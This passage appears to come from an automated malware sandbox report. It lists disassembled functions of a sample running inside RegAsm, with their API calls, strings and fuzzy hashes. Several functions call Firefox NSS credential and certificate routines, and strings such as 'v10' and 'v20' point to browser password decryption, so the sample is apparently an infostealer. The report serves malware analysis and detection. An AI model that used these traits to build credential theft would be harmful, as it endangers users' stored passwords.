API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: e19f6aab00ceaa32f64e9e3b752ae893e5c65ee7c9a66b570135dc3b18723e8c
Instruction ID: 6df6b054359b50ea5ae326c7fe3be7b583ef5360d0f05fb7bd489f70dc5be05b
Opcode Fuzzy Hash: e19f6aab00ceaa32f64e9e3b752ae893e5c65ee7c9a66b570135dc3b18723e8c
Instruction Fuzzy Hash: 2B51B3BAA0420D9BE710EF69DC40B9A77F4AF48748F250534EE5897F40EB31E945CB91

Function 6C1EEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C1EEF38

Part of subcall function 6C1D9520: PK11_IsLoggedIn.NSS3(00000000,?,6C20379E,?,00000001,?), ref: 6C1D9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C1EEF53

Part of subcall function 6C1F4C20: TlsGetValue.KERNEL32 ref: 6C1F4C4C
Part of subcall function 6C1F4C20: EnterCriticalSection.KERNEL32(?), ref: 6C1F4C60
Part of subcall function 6C1F4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C1F4CA1
Part of subcall function 6C1F4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C1F4CBE
Part of subcall function 6C1F4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C1F4CD2
Part of subcall function 6C1F4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1F4D3A

PR_GetCurrentThread.NSS3 ref: 6C1EEF9E

Part of subcall function 6C279BF0: TlsGetValue.KERNEL32(?,?,?,6C2C0A75), ref: 6C279C07

free.MOZGLUE(00000000), ref: 6C1EEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C1EF016
free.MOZGLUE(00000000), ref: 6C1EF022

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: f81f7fadf1cea2f6c1a872380e030d306f9f48cf2013a2f9f9fa001f6d58d190
Instruction ID: 10823bc004edb419ce54dc7538fd74aed0d0531fb69d3dbd2fc68c6bf30de204
Opcode Fuzzy Hash: f81f7fadf1cea2f6c1a872380e030d306f9f48cf2013a2f9f9fa001f6d58d190
Instruction Fuzzy Hash: FB416271E00209ABDF019FA9EC85BEF7BBAEF48358F044029F914E6351E771D9158BA1

Function 6C1DCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C1DCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C1DD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C1DD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C1DD025
PR_NewLock.NSS3 ref: 6C1DD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C1DD074

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 310c7b25a9e2fd916d3f6c436316085698340b33a6cc01c2b885d2156097d0d4
Instruction ID: e483e1ae006df7b06de663fafd02efa15a02550c1b76446b5d33b488b77dcfab
Opcode Fuzzy Hash: 310c7b25a9e2fd916d3f6c436316085698340b33a6cc01c2b885d2156097d0d4
Instruction Fuzzy Hash: F341B4B0A013159FDB10EF29C8847977BE4EF58318F12416ADC198BB46D774E889CFA2

Function 00413222 Relevance: 9.1, APIs: 6, Instructions: 110stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413241
StrCmpCA.SHLWAPI(00000000,004367D0), ref: 0041327A
strtok_s.MSVCRT ref: 0041333A

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 4fb06606357c82d2e34a6cc5f66ddce3af8a1c7c19b680e4d1aa22e38f3128a6
Instruction ID: 3c673211da555be5e05b0db2dd9ea0116d8b44de62a5bd55e99019dc4a226f4b
Opcode Fuzzy Hash: 4fb06606357c82d2e34a6cc5f66ddce3af8a1c7c19b680e4d1aa22e38f3128a6
Instruction Fuzzy Hash: 0131C870E01115AFCB14DF64CD85B9AB7A8EB1871BF21505BE806DA191E73CCB854B4C

Function 6C1C2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C1B2D1A), ref: 6C1C2E7E

Part of subcall function 6C2107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C1B8298,?,?,?,6C1AFCE5,?), ref: 6C2107BF
Part of subcall function 6C2107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C2107E6
Part of subcall function 6C2107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C21081B
Part of subcall function 6C2107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C210825

PR_Now.NSS3 ref: 6C1C2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C1C2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C1B2D1A), ref: 6C1C2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C1B2D1A), ref: 6C1C2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C1C2F81

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 3152add54283efefe95e402e6ac7d2479fdf1ff15fcc91707b3276571d02708e
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 8031047170110C87F710C755CC58BAE7265EBB1318F2415BAF51997AD0EB3D9846CA23

Function 6C1B0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C1B0A2C), ref: 6C1B0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C1B0A2C), ref: 6C1B0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C1B0A2C), ref: 6C1B0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C1B0A2C), ref: 6C1B0E90
free.MOZGLUE(00000000), ref: 6C1B0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C1B0A2C), ref: 6C1B0ED9

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 100d66f4cb82d364386c414d2ef172eeacc1277c04a019fcc4216eb95d7bd809
Instruction ID: 09dfeabc746a108e2147a77a7ecd2db09eccd73ee88ae89798dd2ad1340a1de3
Opcode Fuzzy Hash: 100d66f4cb82d364386c414d2ef172eeacc1277c04a019fcc4216eb95d7bd809
Instruction Fuzzy Hash: F92170F3F002884BEB0045699E41B6B72AEDFD1748F0A0035FD1877A12FB75C8158AA2

Function 6C1BAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C1BAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C1BAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C1BAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C1BAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C2D9500), ref: 6C1BAF23

Part of subcall function 6C20F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C20F0C8
Part of subcall function 6C20F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C20F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C1BAF37

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 57191d110526b6c1cfad87660e44993b21f905fa259ca0c6566053b6ef8066b7
Instruction ID: 53f8941871275d0f7f09ee3cfc29fe74b24f71ac1930a80f7e2c916506db7a1d
Opcode Fuzzy Hash: 57191d110526b6c1cfad87660e44993b21f905fa259ca0c6566053b6ef8066b7
Instruction Fuzzy Hash: 382135B2909204ABEB108F188C41B9F7BE4AF9572CF144319FD58AB780E731D5188BA7

Function 6C23EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C23EE85
realloc.MOZGLUE(41002BDF,?), ref: 6C23EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C23EEC5

Part of subcall function 6C210BE0: malloc.MOZGLUE(6C208D2D,?,00000000,?), ref: 6C210BF8
Part of subcall function 6C210BE0: TlsGetValue.KERNEL32(6C208D2D,?,00000000,?), ref: 6C210C15

htonl.WSOCK32(?), ref: 6C23EEE3
htonl.WSOCK32(00000000,?), ref: 6C23EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C23EF01

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 7586f62ccbf0c631705ab2110a23545922071b258fd26570dfff198dac335b31
Instruction ID: 5cda959d4b89d41d9bd5cf7948cf8923af28acd1ca2c3c6b7f448122c080cce7
Opcode Fuzzy Hash: 7586f62ccbf0c631705ab2110a23545922071b258fd26570dfff198dac335b31
Instruction Fuzzy Hash: 0821E771A002299FDF109F28DC81B9AB7A4EF45768F158169EC1D9B681E730EC18C7E2

Function 6C204820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C204EB8,?), ref: 6C204884

Part of subcall function 6C208800: TlsGetValue.KERNEL32(?,6C21085A,00000000,?,6C1B8369,?), ref: 6C208821
Part of subcall function 6C208800: TlsGetValue.KERNEL32(?,?,6C21085A,00000000,?,6C1B8369,?), ref: 6C20883D
Part of subcall function 6C208800: EnterCriticalSection.KERNEL32(?,?,?,6C21085A,00000000,?,6C1B8369,?), ref: 6C208856
Part of subcall function 6C208800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C208887
Part of subcall function 6C208800: PR_Unlock.NSS3(?,?,?,?,6C21085A,00000000,?,6C1B8369,?), ref: 6C208899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C204EB8,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C20484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C204EB8,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C20486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C1C78F8), ref: 6C204899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2048A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2048B8

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: c11ee31c9c6382f7d9d449acd86de60f74cec27e07c52429ba010cdf66875f3f
Instruction ID: 4658a4977b478605065e399c44dc651f636c9db5150ec0e0c44048932b69521b
Opcode Fuzzy Hash: c11ee31c9c6382f7d9d449acd86de60f74cec27e07c52429ba010cdf66875f3f
Instruction Fuzzy Hash: 07210B76F002499FEF005FA5DD85A577778FF16359B044936EE0547A01EB21E824C7A2

Function 0041210E Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 36stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,00000000,?,?,?,0041375D,00000000,00000010), ref: 00412119
lstrcpynA.KERNEL32(C:\Users\user\Desktop\,?,00000000,?), ref: 00412132
lstrlenA.KERNEL32(?), ref: 00412144
wsprintfA.USER32 ref: 00412156

Strings

C:\Users\user\Desktop\, xrefs: 0041212C, 00412131
%s%s, xrefs: 00412150

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Desktop\
API String ID: 1206339513-438050915
Opcode ID: bb9218cddbb4089fc796ec00a4e5fb69e3466a4d3a63b2e16eb563de281f5301
Instruction ID: d87155c712c06d519f53d1babcb02272deba0eed27b395e270d6ab13932a4088
Opcode Fuzzy Hash: bb9218cddbb4089fc796ec00a4e5fb69e3466a4d3a63b2e16eb563de281f5301
Instruction Fuzzy Hash: 87F0E9322002157FDF090F99DC48D9B7FAEDF45666F000061F908D2211C6775F1586E5

Function 6C19AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C19AFDA

Strings

misuse, xrefs: 6C19AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C19AFC4
%s at line %d of [%.10s], xrefs: 6C19AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C19AF5C

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 2298380a7cfdb3693c1837d60838e9f8ff045e7f7a0ac8d867fd89a2025925dc
Instruction ID: 44a1ab830afd435141be5bafa526e1cf5a665ded0d6bc1f42d2a3594240d86ba
Opcode Fuzzy Hash: 2298380a7cfdb3693c1837d60838e9f8ff045e7f7a0ac8d867fd89a2025925dc
Instruction Fuzzy Hash: 1C91E275E012158FDB04CF29C850BAEB7F1BF49314F1945A8E865ABB91C734EC05CBA0

Function 0040826D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00408307
LocalAlloc.KERNEL32(00000040,-0000001F,00000000,?,?), ref: 0040833C

Strings

v10, xrefs: 004082CE
ERROR_RUN_EXTRACTOR, xrefs: 004082BE
v20, xrefs: 00408286

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal_memset
String ID: ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 52611349-380572819
Opcode ID: 68d2dbd41684cf582b2dd607f8162f145748491bc51946d7881d8039dcd7bf52
Instruction ID: e242da40d0033fbd12c9c67386fe47bc04799ea9e419b8198694ac67771070ea
Opcode Fuzzy Hash: 68d2dbd41684cf582b2dd607f8162f145748491bc51946d7881d8039dcd7bf52
Instruction Fuzzy Hash: 1441B3B2A00118ABCF10DFA5CD45ADE3BB8AB84714F15413BFD40F7280EB799A458799

Function 6C226DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C226E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C226E57

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C226E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C226EAA

Strings

n,l, xrefs: 6C226DF9

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: n,l
API String ID: 3163584228-3692751573
Opcode ID: 4ed785ea87b01ac1b06a3522731c1fa08a9f4b8226943bc3bedf2def7a9cdc23
Instruction ID: 97a16ea4b8c9c22824eba9f9126167634e5eb8ed8f378dfbf1896af6bfa4e159
Opcode Fuzzy Hash: 4ed785ea87b01ac1b06a3522731c1fa08a9f4b8226943bc3bedf2def7a9cdc23
Instruction Fuzzy Hash: C431F23361065BEFDB145F34CC85B96B7A5AB0131AF20063CEC9AD2A41EB356454CF81

Function 6C28A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C157915,?,?), ref: 6C28A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C157915,?,?), ref: 6C28A8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C28A891
%s at line %d of [%.10s], xrefs: 6C28A8A0
database corruption, xrefs: 6C28A89B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 41b258046bfe7ba9237ad7b272fd44cee895d18d7640f388f66d4020ff3018b7
